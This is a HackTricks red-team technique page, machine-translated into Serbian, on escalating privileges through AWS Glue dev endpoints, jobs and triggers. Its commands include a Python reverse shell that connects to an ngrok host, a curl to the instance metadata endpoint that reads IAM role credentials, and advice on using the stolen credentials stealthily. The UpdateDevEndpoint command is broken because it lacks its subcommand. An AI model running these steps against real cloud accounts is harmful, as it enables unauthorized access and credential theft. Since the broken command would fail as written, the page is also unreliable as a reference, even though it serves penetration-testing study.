AWS - Glue Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Korisnici sa ovim dozvolama mogu postaviti novi AWS Glue razvojni endpoint, dodeljujući postojeću ulogu usluge koju može preuzeti Glue sa specifičnim dozvolama za ovaj endpoint.

Nakon postavljanja, napadač može SSH-ovati na instancu endpoint-a, i ukrasti IAM kredencijale dodeljene ulozi:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Radi stealth svrhe, preporučuje se korišćenje IAM akreditacija iznutra virtuelne mašine Glue.

Potencijalni uticaj: Privesc na ulogu usluge lepka koja je navedena.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Korisnici sa ovlašćenjem mogu izmeniti postojeći Glue razvojni endpointov SSH ključ, omogućavajući pristup putem SSH-a. Ovo omogućava napadaču da izvršava komande sa privilegijama uloge povezane sa endpointom:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potencijalni uticaj: Privesk na ulogu usluge lepka koja se koristi.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Korisnici sa iam:PassRole u kombinaciji sa bilo glue:CreateJob ili glue:UpdateJob, i bilo glue:StartJobRun ili glue:CreateTrigger mogu kreirati ili ažurirati AWS Glue posao, pridružujući bilo koju Glue servisnu ulogu, i pokrenuti izvršenje posla. Mogućnosti posla uključuju pokretanje proizvoljnog Python koda, što može biti iskorišćeno za uspostavljanje reverznog šela. Ovaj reverzni šel se može zatim iskoristiti za eksfiltraciju IAM kredencijala uloge pridružene Glue poslu, što može dovesti do potencijalnog neovlašćenog pristupa ili radnji na osnovu dozvola te uloge:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potencijalni uticaj: Privesc do uloge usluge lepka navedene.

glue:UpdateJob

Samo sa dozvolom za ažuriranje, napadnuti bi mogao ukrasti IAM akreditive već povezane uloge.

Potencijalni uticaj: Privesc do uloge usluge lepka povezane.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated